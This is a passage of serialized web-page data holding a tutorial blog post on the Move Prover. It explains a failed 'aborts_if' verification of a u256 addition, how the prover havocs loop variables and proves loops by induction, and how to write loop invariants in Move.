above:",{"type":24,"tag":137,"props":15896,"children":15898},{"code":15897,"language":9868,"meta":7,"className":9869,"style":7},"$ move prove\n",[15899],{"type":24,"tag":80,"props":15900,"children":15901},{"__ignoreMap":7},[15902],{"type":24,"tag":147,"props":15903,"children":15904},{"class":149,"line":150},[15905,15910,15915],{"type":24,"tag":147,"props":15906,"children":15907},{"style":229},[15908],{"type":29,"value":15909},"$",{"type":24,"tag":147,"props":15911,"children":15912},{"style":3534},[15913],{"type":29,"value":15914}," move",{"type":24,"tag":147,"props":15916,"children":15917},{"style":3534},[15918],{"type":29,"value":15919}," prove\n",{"type":24,"tag":25,"props":15921,"children":15922},{},[15923],{"type":29,"value":15924},"It outputs the following error information:",{"type":24,"tag":137,"props":15926,"children":15928},{"code":15927,"language":9868,"meta":7,"className":9869,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[15929],{"type":24,"tag":80,"props":15930,"children":15931},{"__ignoreMap":7},[15932,15940,15947,16009,16030,16119,16187,16199,16207,16214,16221,16228,16246,16306,16323,16340,16412,16428,16436,16443,16493,16500,16517],{"type":24,"tag":147,"props":15933,"children":15934},{"class":149,"line":150},[15935],{"type":24,"tag":147,"props":15936,"children":15937},{"style":235},[15938],{"type":29,"value":15939},"[...]\n",{"type":24,"tag":147,"props":15941,"children":15942},{"class":149,"line":160},[15943],{"type":24,"tag":147,"props":15944,"children":15945},{"emptyLinePlaceholder":16},[15946],{"type":29,"value":314},{"type":24,"tag":147,"props":15948,"children":15949},{"class":149,"line":169},[15950,15955,15960,15965,15970,15975,15980,15985,15990,15995,15999,16004],{"type":24,"tag":147,"props":15951,"children":15952},{"style":229},[15953],{"type":29,"value":15954},"error:",{"type":24,"tag":147,"props":15956,"children":15957},{"style":3534},[15958],{"type":29,"value":15959}," abort",{"type":24,"tag":147,"props":15961,"children":15962},{"style":3534},[15963],{"type":29,"value":15964}," not",{"type":24,"tag":147,"props":15966,"children":15967},{"style":3534},[15968],{"type":29,"value":15969}," covered",{"type":24,"tag":147,"props":15971,"children":15972},{"style":3534},[15973],{"type":29,"value":15974}," by",{"type":24,"tag":147,"props":15976,"children":15977},{"style":3534},[15978],{"type":29,"value":15979}," any",{"type":24,"tag":147,"props":15981,"children":15982},{"style":3534},[15983],{"type":29,"value":15984}," of",{"type":24,"tag":147,"props":15986,"children":15987},{"style":3534},[15988],{"type":29,"value":15989}," the",{"type":24,"tag":147,"props":15991,"children":15992},{"style":3534},[15993],{"type":29,"value":15994}," `",{"type":24,"tag":147,"props":15996,"children":15997},{"style":229},[15998],{"type":29,"value":13950},{"type":24,"tag":147,"props":16000,"children":16001},{"style":3534},[16002],{"type":29,"value":16003},"`",{"type":24,"tag":147,"props":16005,"children":16006},{"style":229},[16007],{"type":29,"value":16008}," clauses\n",{"type":24,"tag":147,"props":16010,"children":16011},{"class":149,"line":178},[16012,16017,16022,16026],{"type":24,"tag":147,"props":16013,"children":16014},{"style":229},[16015],{"type":29,"value":16016},"╭",{"type":24,"tag":147,"props":16018,"children":16019},{"style":3534},[16020],{"type":29,"value":16021},"     spec",{"type":24,"tag":147,"props":16023,"children":16024},{"style":3534},[16025],{"type":29,"value":15202},{"type":24,"tag":147,"props":16027,"children":16028},{"style":3534},[16029],{"type":29,"value":6630},{"type":24,"tag":147,"props":16031,"children":16032},{"class":149,"line":187},[16033,16038,16043,16047,16051,16055,16059,16063,16067,16071,16075,16079,16083,16087,16091,16095,16099,16103,16107,16111,16115],{"type":24,"tag":147,"props":16034,"children":16035},{"style":241},[16036],{"type":29,"value":16037},"|",{"type":24,"tag":147,"props":16039,"children":16040},{"style":229},[16041],{"type":29,"value":16042},"         aborts_if",{"type":24,"tag":147,"props":16044,"children":16045},{"style":3534},[16046],{"type":29,"value":15325},{"type":24,"tag":147,"props":16048,"children":16049},{"style":235},[16050],{"type":29,"value":480},{"type":24,"tag":147,"props":16052,"children":16053},{"style":229},[16054],{"type":29,"value":2773},{"type":24,"tag":147,"props":16056,"children":16057},{"style":235},[16058],{"type":29,"value":564},{"type":24,"tag":147,"props":16060,"children":16061},{"style":3534},[16062],{"type":29,"value":624},{"type":24,"tag":147,"props":16064,"children":16065},{"style":3534},[16066],{"type":29,"value":15325},{"type":24,"tag":147,"props":16068,"children":16069},{"style":235},[16070],{"type":29,"value":480},{"type":24,"tag":147,"props":16072,"children":16073},{"style":229},[16074],{"type":29,"value":8852},{"type":24,"tag":147,"props":16076,"children":16077},{"style":235},[16078],{"type":29,"value":564},{"type":24,"tag":147,"props":16080,"children":16081},{"style":241},[16082],{"type":29,"value":3453},{"type":24,"tag":147,"props":16084,"children":16085},{"style":3534},[16086],{"type":29,"value":369},{"type":24,"tag":147,"props":16088,"children":16089},{"style":3534},[16090],{"type":29,"value":15281},{"type":24,"tag":147,"props":16092,"children":16093},{"style":218},[16094],{"type":29,"value":1263},{"type":24,"tag":147,"props":16096,"children":16097},{"style":3534},[16098],{"type":29,"value":15281},{"type":24,"tag":147,"props":16100,"children":16101},{"style":218},[16102],{"type":29,"value":1263},{"type":24,"tag":147,"props":16104,"children":16105},{"style":3534},[16106],{"type":29,"value":15281},{"type":24,"tag":147,"props":16108,"children":16109},{"style":218},[16110],{"type":29,"value":1263},{"type":24,"tag":147,"props":16112,"children":16113},{"style":3534},[16114],{"type":29,"value":15281},{"type":24,"tag":147,"props":16116,"children":16117},{"style":235},[16118],{"type":29,"value":432},{"type":24,"tag":147,"props":16120,"children":16121},{"class":149,"line":196},[16122,16126,16131,16135,16139,16143,16147,16151,16155,16159,16163,16167,16171,16175,16179,16183],{"type":24,"tag":147,"props":16123,"children":16124},{"style":241},[16125],{"type":29,"value":16037},{"type":24,"tag":147,"props":16127,"children":16128},{"style":229},[16129],{"type":29,"value":16130},"         ensures",{"type":24,"tag":147,"props":16132,"children":16133},{"style":3534},[16134],{"type":29,"value":15325},{"type":24,"tag":147,"props":16136,"children":16137},{"style":235},[16138],{"type":29,"value":480},{"type":24,"tag":147,"props":16140,"children":16141},{"style":229},[16142],{"type":29,"value":14706},{"type":24,"tag":147,"props":16144,"children":16145},{"style":235},[16146],{"type":29,"value":564},{"type":24,"tag":147,"props":16148,"children":16149},{"style":3534},[16150],{"type":29,"value":6600},{"type":24,"tag":147,"props":16152,"children":16153},{"style":3534},[16154],{"type":29,"value":15325},{"type":24,"tag":147,"props":16156,"children":16157},{"style":235},[16158],{"type":29,"value":480},{"type":24,"tag":147,"props":16160,"children":16161},{"style":229},[16162],{"type":29,"value":2773},{"type":24,"tag":147,"props":16164,"children":16165},{"style":235},[16166],{"type":29,"value":564},{"type":24,"tag":147,"props":16168,"children":16169},{"style":3534},[16170],{"type":29,"value":624},{"type":24,"tag":147,"props":16172,"children":16173},{"style":3534},[16174],{"type":29,"value":15325},{"type":24,"tag":147,"props":16176,"children":16177},{"style":235},[16178],{"type":29,"value":480},{"type":24,"tag":147,"props":16180,"children":16181},{"style":229},[16182],{"type":29,"value":8852},{"type":24,"tag":147,"props":16184,"children":16185},{"style":235},[16186],{"type":29,"value":1473},{"type":24,"tag":147,"props":16188,"children":16189},{"class":149,"line":205},[16190,16194],{"type":24,"tag":147,"props":16191,"children":16192},{"style":241},[16193],{"type":29,"value":16037},{"type":24,"tag":147,"props":16195,"children":16196},{"style":235},[16197],{"type":29,"value":16198},"     }\n",{"type":24,"tag":147,"props":16200,"children":16201},{"class":149,"line":214},[16202],{"type":24,"tag":147,"props":16203,"children":16204},{"style":229},[16205],{"type":29,"value":16206},"╰─────^\n",{"type":24,"tag":147,"props":16208,"children":16209},{"class":149,"line":272},[16210],{"type":24,"tag":147,"props":16211,"children":16212},{"emptyLinePlaceholder":16},[16213],{"type":29,"value":314},{"type":24,"tag":147,"props":16215,"children":16216},{"class":149,"line":281},[16217],{"type":24,"tag":147,"props":16218,"children":16219},{"style":235},[16220],{"type":29,"value":15939},{"type":24,"tag":147,"props":16222,"children":16223},{"class":149,"line":299},[16224],{"type":24,"tag":147,"props":16225,"children":16226},{"emptyLinePlaceholder":16},[16227],{"type":29,"value":314},{"type":24,"tag":147,"props":16229,"children":16230},{"class":149,"line":308},[16231,16236,16241],{"type":24,"tag":147,"props":16232,"children":16233},{"style":229},[16234],{"type":29,"value":16235}," at",{"type":24,"tag":147,"props":16237,"children":16238},{"style":3534},[16239],{"type":29,"value":16240}," ./sources/u256.move:316:",{"type":24,"tag":147,"props":16242,"children":16243},{"style":3534},[16244],{"type":29,"value":16245}," add\n",{"type":24,"tag":147,"props":16247,"children":16248},{"class":149,"line":317},[16249,16254,16259,16264,16268,16272,16276,16281,16286,16291,16296,16301],{"type":24,"tag":147,"props":16250,"children":16251},{"style":229},[16252],{"type":29,"value":16253}," enter",{"type":24,"tag":147,"props":16255,"children":16256},{"style":3534},[16257],{"type":29,"value":16258}," loop,",{"type":24,"tag":147,"props":16260,"children":16261},{"style":3534},[16262],{"type":29,"value":16263}," variable",{"type":24,"tag":147,"props":16265,"children":16266},{"style":235},[16267],{"type":29,"value":480},{"type":24,"tag":147,"props":16269,"children":16270},{"style":229},[16271],{"type":29,"value":2203},{"type":24,"tag":147,"props":16273,"children":16274},{"style":235},[16275],{"type":29,"value":564},{"type":24,"tag":147,"props":16277,"children":16278},{"style":3534},[16279],{"type":29,"value":16280},"carry,",{"type":24,"tag":147,"props":16282,"children":16283},{"style":3534},[16284],{"type":29,"value":16285}," i,",{"type":24,"tag":147,"props":16287,"children":16288},{"style":3534},[16289],{"type":29,"value":16290}," ret",{"type":24,"tag":147,"props":16292,"children":16293},{"style":3534},[16294],{"type":29,"value":16295}," havocked",{"type":24,"tag":147,"props":16297,"children":16298},{"style":3534},[16299],{"type":29,"value":16300}," and",{"type":24,"tag":147,"props":16302,"children":16303},{"style":3534},[16304],{"type":29,"value":16305}," reassigned\n",{"type":24,"tag":147,"props":16307,"children":16308},{"class":149,"line":332},[16309,16314,16318],{"type":24,"tag":147,"props":16310,"children":16311},{"style":229},[16312],{"type":29,"value":16313},"     carry",{"type":24,"tag":147,"props":16315,"children":16316},{"style":3534},[16317],{"type":29,"value":651},{"type":24,"tag":147,"props":16319,"children":16320},{"style":705},[16321],{"type":29,"value":16322}," 54\n",{"type":24,"tag":147,"props":16324,"children":16325},{"class":149,"line":350},[16326,16331,16335],{"type":24,"tag":147,"props":16327,"children":16328},{"style":229},[16329],{"type":29,"value":16330},"     i",{"type":24,"tag":147,"props":16332,"children":16333},{"style":3534},[16334],{"type":29,"value":651},{"type":24,"tag":147,"props":16336,"children":16337},{"style":705},[16338],{"type":29,"value":16339}," 3792\n",{"type":24,"tag":147,"props":16341,"children":16342},{"class":149,"line":358},[16343,16348,16352,16357,16361,16366,16371,16375,16380,16385,16389,16394,16399,16403,16408],{"type":24,"tag":147,"props":16344,"children":16345},{"style":229},[16346],{"type":29,"value":16347},"     ret",{"type":24,"tag":147,"props":16349,"children":16350},{"style":3534},[16351],{"type":29,"value":651},{"type":24,"tag":147,"props":16353,"children":16354},{"style":3534},[16355],{"type":29,"value":16356}," u256.U256{v0",{"type":24,"tag":147,"props":16358,"children":16359},{"style":3534},[16360],{"type":29,"value":651},{"type":24,"tag":147,"props":16362,"children":16363},{"style":3534},[16364],{"type":29,"value":16365}," 26418,",{"type":24,"tag":147,"props":16367,"children":16368},{"style":3534},[16369],{"type":29,"value":16370}," v1",{"type":24,"tag":147,"props":16372,"children":16373},{"style":3534},[16374],{"type":29,"value":651},{"type":24,"tag":147,"props":16376,"children":16377},{"style":3534},[16378],{"type":29,"value":16379}," 27938,",{"type":24,"tag":147,"props":16381,"children":16382},{"style":3534},[16383],{"type":29,"value":16384}," v2",{"type":24,"tag":147,"props":16386,"children":16387},{"style":3534},[16388],{"type":29,"value":651},{"type":24,"tag":147,"props":16390,"children":16391},{"style":3534},[16392],{"type":29,"value":16393}," 6900,",{"type":24,"tag":147,"props":16395,"children":16396},{"style":3534},[16397],{"type":29,"value":16398}," v3",{"type":24,"tag":147,"props":16400,"children":16401},{"style":3534},[16402],{"type":29,"value":651},{"type":24,"tag":147,"props":16404,"children":16405},{"style":705},[16406],{"type":29,"value":16407}," 1999",{"type":24,"tag":147,"props":16409,"children":16410},{"style":3534},[16411],{"type":29,"value":827},{"type":24,"tag":147,"props":16413,"children":16414},{"class":149,"line":397},[16415,16419,16424],{"type":24,"tag":147,"props":16416,"children":16417},{"style":229},[16418],{"type":29,"value":16235},{"type":24,"tag":147,"props":16420,"children":16421},{"style":3534},[16422],{"type":29,"value":16423}," ./sources/u256.move:346:",{"type":24,"tag":147,"props":16425,"children":16426},{"style":3534},[16427],{"type":29,"value":16245},{"type":24,"tag":147,"props":16429,"children":16430},{"class":149,"line":421},[16431],{"type":24,"tag":147,"props":16432,"children":16433},{"style":229},[16434],{"type":29,"value":16435},"     ABORTED\n",{"type":24,"tag":147,"props":16437,"children":16438},{"class":149,"line":435},[16439],{"type":24,"tag":147,"props":16440,"children":16441},{"emptyLinePlaceholder":16},[16442],{"type":29,"value":314},{"type":24,"tag":147,"props":16444,"children":16445},{"class":149,"line":444},[16446,16451,16456,16460,16465,16470,16475,16479,16484,16488],{"type":24,"tag":147,"props":16447,"children":16448},{"style":229},[16449],{"type":29,"value":16450},"FAILURE",{"type":24,"tag":147,"props":16452,"children":16453},{"style":3534},[16454],{"type":29,"value":16455}," proving",{"type":24,"tag":147,"props":16457,"children":16458},{"style":705},[16459],{"type":29,"value":10147},{"type":24,"tag":147,"props":16461,"children":16462},{"style":3534},[16463],{"type":29,"value":16464}," modules",{"type":24,"tag":147,"props":16466,"children":16467},{"style":3534},[16468],{"type":29,"value":16469}," from",{"type":24,"tag":147,"props":16471,"children":16472},{"style":3534},[16473],{"type":29,"value":16474}," package",{"type":24,"tag":147,"props":16476,"children":16477},{"style":3534},[16478],{"type":29,"value":15994},{"type":24,"tag":147,"props":16480,"children":16481},{"style":229},[16482],{"type":29,"value":16483},"u256",{"type":24,"tag":147,"props":16485,"children":16486},{"style":3534},[16487],{"type":29,"value":16003},{"type":24,"tag":147,"props":16489,"children":16490},{"style":235},[16491],{"type":29,"value":16492}," in 9.143s\n",{"type":24,"tag":147,"props":16494,"children":16495},{"class":149,"line":452},[16496],{"type":24,"tag":147,"props":16497,"children":16498},{"style":235},[16499],{"type":29,"value":278},{"type":24,"tag":147,"props":16501,"children":16502},{"class":149,"line":461},[16503,16508,16512],{"type":24,"tag":147,"props":16504,"children":16505},{"style":229},[16506],{"type":29,"value":16507},"    \"Error\"",{"type":24,"tag":147,"props":16509,"children":16510},{"style":229},[16511],{"type":29,"value":978},{"type":24,"tag":147,"props":16513,"children":16514},{"style":3534},[16515],{"type":29,"value":16516}," \"Move Prover failed: exiting with verification errors\"\n",{"type":24,"tag":147,"props":16518,"children":16519},{"class":149,"line":469},[16520],{"type":24,"tag":147,"props":16521,"children":16522},{"style":235},[16523],{"type":29,"value":827},{"type":24,"tag":25,"props":16525,"children":16526},{},[16527,16529,16534],{"type":29,"value":16528},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":24,"tag":80,"props":16530,"children":16532},{"className":16531},[],[16533],{"type":29,"value":13950},{"type":29,"value":16535}," clauses. But there is no other abort situation that we have to cover, right?",{"type":24,"tag":25,"props":16537,"children":16538},{},[16539,16541,16547],{"type":29,"value":16540},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":24,"tag":80,"props":16542,"children":16544},{"className":16543},[],[16545],{"type":29,"value":16546},"ret havocked and reassigned",{"type":29,"value":87},{"type":24,"tag":25,"props":16549,"children":16550},{},[16551],{"type":29,"value":16552},"What does this mean?",{"type":24,"tag":25,"props":16554,"children":16555},{},[16556,16558,16565],{"type":29,"value":16557},"By diving into the Move Prover source, we find a ",{"type":24,"tag":2773,"props":16559,"children":16562},{"href":16560,"rel":16561},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[2777],[16563],{"type":29,"value":16564},"likely suspect",{"type":29,"value":16566},". The prover attempts to prove all loops with induction!",{"type":24,"tag":25,"props":16568,"children":16569},{},[16570],{"type":29,"value":16571},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":24,"tag":2674,"props":16573,"children":16574},{},[16575,16580],{"type":24,"tag":2678,"props":16576,"children":16577},{},[16578],{"type":29,"value":16579},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":24,"tag":2678,"props":16581,"children":16582},{},[16583],{"type":29,"value":16584},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":24,"tag":25,"props":16586,"children":16587},{},[16588,16590,16595,16597,16603,16604,16610,16611,16616,16618,16623],{"type":29,"value":16589},"The loop prover will also ",{"type":24,"tag":10949,"props":16591,"children":16592},{},[16593],{"type":29,"value":16594},"havoc, or assign random values to, all variables written to inside the loop",{"type":29,"value":16596},". Going back to the log message, this implies that the variables ",{"type":24,"tag":80,"props":16598,"children":16600},{"className":16599},[],[16601],{"type":29,"value":16602},"carry",{"type":29,"value":546},{"type":24,"tag":80,"props":16605,"children":16607},{"className":16606},[],[16608],{"type":29,"value":16609},"ret",{"type":29,"value":855},{"type":24,"tag":80,"props":16612,"children":16614},{"className":16613},[],[16615],{"type":29,"value":9363},{"type":29,"value":16617}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":24,"tag":80,"props":16619,"children":16621},{"className":16620},[],[16622],{"type":29,"value":15259},{"type":29,"value":16624}," makes no sense.",{"type":24,"tag":25,"props":16626,"children":16627},{},[16628],{"type":29,"value":16629},"More concretely, the loop analysis translates into the following steps.",{"type":24,"tag":2674,"props":16631,"children":16632},{},[16633,16638,16643,16648,16653,16658],{"type":24,"tag":2678,"props":16634,"children":16635},{},[16636],{"type":29,"value":16637},"Assert the loop invariant",{"type":24,"tag":2678,"props":16639,"children":16640},{},[16641],{"type":29,"value":16642},"Havoc all modified variables",{"type":24,"tag":2678,"props":16644,"children":16645},{},[16646],{"type":29,"value":16647},"Assume the loop invariant",{"type":24,"tag":2678,"props":16649,"children":16650},{},[16651],{"type":29,"value":16652},"Assume the loop guard (the code inside the while condition)",{"type":24,"tag":2678,"props":16654,"children":16655},{},[16656],{"type":29,"value":16657},"Run the loop body",{"type":24,"tag":2678,"props":16659,"children":16660},{},[16661],{"type":29,"value":16637},{"type":24,"tag":25,"props":16663,"children":16664},{},[16665],{"type":29,"value":16666},"There are two approaches to dealing with loops.",{"type":24,"tag":25,"props":16668,"children":16669},{},[16670],{"type":29,"value":16671},"The first would be to specify a loop invariant.",{"type":24,"tag":25,"props":16673,"children":16674},{},[16675,16677,16684],{"type":29,"value":16676},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":24,"tag":2773,"props":16678,"children":16681},{"href":16679,"rel":16680},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[2777],[16682],{"type":29,"value":16683},"previous post",{"type":29,"value":87},{"type":24,"tag":137,"props":16686,"children":16688},{"code":16687,"language":8613,"meta":7,"className":8614,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[16689],{"type":24,"tag":80,"props":16690,"children":16691},{"__ignoreMap":7},[16692,16704,16715,16751,16774,16857,16864,16888,16896,16916,16936,17027,17034,17062],{"type":24,"tag":147,"props":16693,"children":16694},{"class":149,"line":150},[16695,16700],{"type":24,"tag":147,"props":16696,"children":16697},{"style":321},[16698],{"type":29,"value":16699},"  while",{"type":24,"tag":147,"props":16701,"children":16702},{"style":235},[16703],{"type":29,"value":14158},{"type":24,"tag":147,"props":16705,"children":16706},{"class":149,"line":160},[16707,16711],{"type":24,"tag":147,"props":16708,"children":16709},{"style":247},[16710],{"type":29,"value":14553},{"type":24,"tag":147,"props":16712,"children":16713},{"style":235},[16714],{"type":29,"value":6630},{"type":24,"tag":147,"props":16716,"children":16717},{"class":149,"line":169},[16718,16723,16727,16731,16735,16739,16743,16747],{"type":24,"tag":147,"props":16719,"children":16720},{"style":247},[16721],{"type":29,"value":16722},"          invariant",{"type":24,"tag":147,"props":16724,"children":16725},{"style":229},[16726],{"type":29,"value":14183},{"type":24,"tag":147,"props":16728,"children":16729},{"style":235},[16730],{"type":29,"value":480},{"type":24,"tag":147,"props":16732,"children":16733},{"style":247},[16734],{"type":29,"value":14192},{"type":24,"tag":147,"props":16736,"children":16737},{"style":235},[16738],{"type":29,"value":564},{"type":24,"tag":147,"props":16740,"children":16741},{"style":241},[16742],{"type":29,"value":6600},{"type":24,"tag":147,"props":16744,"children":16745},{"style":247},[16746],{"type":29,"value":9023},{"type":24,"tag":147,"props":16748,"children":16749},{"style":235},[16750],{"type":29,"value":432},{"type":24,"tag":147,"props":16752,"children":16753},{"class":149,"line":178},[16754,16758,16762,16766,16770],{"type":24,"tag":147,"props":16755,"children":16756},{"style":247},[16757],{"type":29,"value":16722},{"type":24,"tag":147,"props":16759,"children":16760},{"style":247},[16761],{"type":29,"value":9023},{"type":24,"tag":147,"props":16763,"children":16764},{"style":241},[16765],{"type":29,"value":13823},{"type":24,"tag":147,"props":16767,"children":16768},{"style":247},[16769],{"type":29,"value":14112},{"type":24,"tag":147,"props":16771,"children":16772},{"style":235},[16773],{"type":29,"value":432},{"type":24,"tag":147,"props":16775,"children":16776},{"class":149,"line":187},[16777,16781,16785,16789,16793,16797,16801,16805,16809,16813,16817,16821,16825,16829,16833,16837,16841,16845,16849,16853],{"type":24,"tag":147,"props":16778,"children":16779},{"style":247},[16780],{"type":29,"value":16722},{"type":24,"tag":147,"props":16782,"children":16783},{"style":247},[16784],{"type":29,"value":14243},{"type":24,"tag":147,"props":16786,"children":16787},{"style":247},[16788],{"type":29,"value":14248},{"type":24,"tag":147,"props":16790,"children":16791},{"style":218},[16792],{"type":29,"value":8674},{"type":24,"tag":147,"props":16794,"children":16795},{"style":705},[16796],{"type":29,"value":708},{"type":24,"tag":147,"props":16798,"children":16799},{"style":241},[16800],{"type":29,"value":8683},{"type":24,"tag":147,"props":16802,"children":16803},{"style":247},[16804],{"type":29,"value":9363},{"type":24,"tag":147,"props":16806,"children":16807},{"style":241},[16808],{"type":29,"value":978},{"type":24,"tag":147,"props":16810,"children":16811},{"style":247},[16812],{"type":29,"value":14047},{"type":24,"tag":147,"props":16814,"children":16815},{"style":235},[16816],{"type":29,"value":9358},{"type":24,"tag":147,"props":16818,"children":16819},{"style":247},[16820],{"type":29,"value":14281},{"type":24,"tag":147,"props":16822,"children":16823},{"style":235},[16824],{"type":29,"value":14286},{"type":24,"tag":147,"props":16826,"children":16827},{"style":241},[16828],{"type":29,"value":6600},{"type":24,"tag":147,"props":16830,"children":16831},{"style":247},[16832],{"type":29,"value":14295},{"type":24,"tag":147,"props":16834,"children":16835},{"style":235},[16836],{"type":29,"value":9358},{"type":24,"tag":147,"props":16838,"children":16839},{"style":247},[16840],{"type":29,"value":14281},{"type":24,"tag":147,"props":16842,"children":16843},{"style":235},[16844],{"type":29,"value":14286},{"type":24,"tag":147,"props":16846,"children":16847},{"style":241},[16848],{"type":29,"value":244},{"type":24,"tag":147,"props":16850,"children":16851},{"style":247},[16852],{"type":29,"value":14112},{"type":24,"tag":147,"props":16854,"children":16855},{"style":235},[16856],{"type":29,"value":432},{"type":24,"tag":147,"props":16858,"children":16859},{"class":149,"line":196},[16860],{"type":24,"tag":147,"props":16861,"children":16862},{"style":235},[16863],{"type":29,"value":14545},{"type":24,"tag":147,"props":16865,"children":16866},{"class":149,"line":205},[16867,16872,16876,16880,16884],{"type":24,"tag":147,"props":16868,"children":16869},{"style":235},[16870],{"type":29,"value":16871},"      (",{"type":24,"tag":147,"props":16873,"children":16874},{"style":247},[16875],{"type":29,"value":9363},{"type":24,"tag":147,"props":16877,"children":16878},{"style":241},[16879],{"type":29,"value":14344},{"type":24,"tag":147,"props":16881,"children":16882},{"style":247},[16883],{"type":29,"value":14112},{"type":24,"tag":147,"props":16885,"children":16886},{"style":235},[16887],{"type":29,"value":269},{"type":24,"tag":147,"props":16889,"children":16890},{"class":149,"line":214},[16891],{"type":24,"tag":147,"props":16892,"children":16893},{"style":235},[16894],{"type":29,"value":16895},"  }) {\n",{"type":24,"tag":147,"props":16897,"children":16898},{"class":149,"line":272},[16899,16904,16908,16912],{"type":24,"tag":147,"props":16900,"children":16901},{"style":235},[16902],{"type":29,"value":16903},"      vector",{"type":24,"tag":147,"props":16905,"children":16906},{"style":241},[16907],{"type":29,"value":9106},{"type":24,"tag":147,"props":16909,"children":16910},{"style":229},[16911],{"type":29,"value":14377},{"type":24,"tag":147,"props":16913,"children":16914},{"style":235},[16915],{"type":29,"value":9088},{"type":24,"tag":147,"props":16917,"children":16918},{"class":149,"line":281},[16919,16924,16928,16932],{"type":24,"tag":147,"props":16920,"children":16921},{"style":241},[16922],{"type":29,"value":16923},"          &",{"type":24,"tag":147,"props":16925,"children":16926},{"style":218},[16927],{"type":29,"value":9348},{"type":24,"tag":147,"props":16929,"children":16930},{"style":247},[16931],{"type":29,"value":14047},{"type":24,"tag":147,"props":16933,"children":16934},{"style":235},[16935],{"type":29,"value":1549},{"type":24,"tag":147,"props":16937,"children":16938},{"class":149,"line":299},[16939,16943,16947,16951,16955,16959,16963,16967,16971,16975,16979,16983,16987,16991,16995,16999,17003,17007,17011,17015,17019,17023],{"type":24,"tag":147,"props":16940,"children":16941},{"style":235},[16942],{"type":29,"value":14335},{"type":24,"tag":147,"props":16944,"children":16945},{"style":241},[16946],{"type":29,"value":244},{"type":24,"tag":147,"props":16948,"children":16949},{"style":235},[16950],{"type":29,"value":14418},{"type":24,"tag":147,"props":16952,"children":16953},{"style":241},[16954],{"type":29,"value":9106},{"type":24,"tag":147,"props":16956,"children":16957},{"style":229},[16958],{"type":29,"value":14427},{"type":24,"tag":147,"props":16960,"children":16961},{"style":235},[16962],{"type":29,"value":480},{"type":24,"tag":147,"props":16964,"children":16965},{"style":241},[16966],{"type":29,"value":485},{"type":24,"tag":147,"props":16968,"children":16969},{"style":247},[16970],{"type":29,"value":13992},{"type":24,"tag":147,"props":16972,"children":16973},{"style":235},[16974],{"type":29,"value":14444},{"type":24,"tag":147,"props":16976,"children":16977},{"style":247},[16978],{"type":29,"value":9363},{"type":24,"tag":147,"props":16980,"children":16981},{"style":218},[16982],{"type":29,"value":14453},{"type":24,"tag":147,"props":16984,"children":16985},{"style":9044},[16986],{"type":29,"value":11484},{"type":24,"tag":147,"props":16988,"children":16989},{"style":235},[16990],{"type":29,"value":14462},{"type":24,"tag":147,"props":16992,"children":16993},{"style":218},[16994],{"type":29,"value":14467},{"type":24,"tag":147,"props":16996,"children":16997},{"style":9044},[16998],{"type":29,"value":14472},{"type":24,"tag":147,"props":17000,"children":17001},{"style":235},[17002],{"type":29,"value":564},{"type":24,"tag":147,"props":17004,"children":17005},{"style":241},[17006],{"type":29,"value":244},{"type":24,"tag":147,"props":17008,"children":17009},{"style":235},[17010],{"type":29,"value":408},{"type":24,"tag":147,"props":17012,"children":17013},{"style":247},[17014],{"type":29,"value":14489},{"type":24,"tag":147,"props":17016,"children":17017},{"style":218},[17018],{"type":29,"value":14453},{"type":24,"tag":147,"props":17020,"children":17021},{"style":9044},[17022],{"type":29,"value":14472},{"type":24,"tag":147,"props":17024,"children":17025},{"style":235},[17026],{"type":29,"value":269},{"type":24,"tag":147,"props":17028,"children":17029},{"class":149,"line":308},[17030],{"type":24,"tag":147,"props":17031,"children":17032},{"style":235},[17033],{"type":29,"value":12392},{"type":24,"tag":147,"props":17035,"children":17036},{"class":149,"line":317},[17037,17042,17046,17050,17054,17058],{"type":24,"tag":147,"props":17038,"children":17039},{"style":247},[17040],{"type":29,"value":17041},"      i",{"type":24,"tag":147,"props":17043,"children":17044},{"style":241},[17045],{"type":29,"value":651},{"type":24,"tag":147,"props":17047,"children":17048},{"style":247},[17049],{"type":29,"value":9023},{"type":24,"tag":147,"props":17051,"children":17052},{"style":241},[17053],{"type":29,"value":1734},{"type":24,"tag":147,"props":17055,"children":17056},{"style":705},[17057],{"type":29,"value":10147},{"type":24,"tag":147,"props":17059,"children":17060},{"style":235},[17061],{"type":29,"value":432},{"type":24,"tag":147,"props":17063,"children":17064},{"class":149,"line":332},[17065],{"type":24,"tag":147,"props":17066,"children":17067},{"style":235},[17068],{"type":29,"value":17069},"  };\n",{"type":24,"tag":25,"props":17071,"children":17072},{},[17073,17075,17081,17083,17088,17090,17096],{"type":29,"value":17074},"In this case, the brackets specify the loop invariant for the ",{"type":24,"tag":80,"props":17076,"children":17078},{"className":17077},[],[17079],{"type":29,"value":17080},"while",{"type":29,"value":17082}," loop. Note that because the loop invariant executes ",{"type":24,"tag":8545,"props":17084,"children":17085},{},[17086],{"type":29,"value":17087},"after",{"type":29,"value":17089}," the loop guard, so we need to account for an extra step with 